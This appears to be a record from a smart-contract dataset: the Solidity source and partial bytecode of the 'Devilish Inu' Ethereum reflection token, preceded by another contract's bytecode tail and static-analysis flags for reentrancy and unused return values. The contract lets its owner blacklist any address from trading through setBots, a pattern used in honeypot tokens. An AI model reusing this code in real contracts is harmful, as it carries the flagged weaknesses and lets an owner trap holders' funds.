0608301526141c6818461414c565b905095945050505050565b6000815190506141e081612af3565b92915050565b6000602082840312156141fc576141fb612abd565b5b600061420a848285016141d1565b91505092915050565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b6000614249602083612b8d565b915061425482614213565b602082019050919050565b600060208201905081810360008301526142788161423c565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b60006142b5601c83612b8d565b91506142c08261427f565b602082019050919050565b600060208201905081810360008301526142e4816142a8565b905091905056fea2646970667358221220b06df1e16e2b0980a3c1aad6cdd5838fb72f75895d3a9209d73a85bb8c073b1264736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,074
0x3463116c107A9AAC37A874598561c9a23b522951
/** *Submitted for verification at Etherscan.io on 2021-06-27 */ /* Welcome to the devious world of Devilish Inu! https://devilishinu.com https://twitter.com/DevilishInu https://t.me/devilishinu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DevilishInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Devilish Inu"; string private constant _symbol = 'DINU️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600c81526020017f446576696c69736820496e750000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f44494e55efb88f00000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600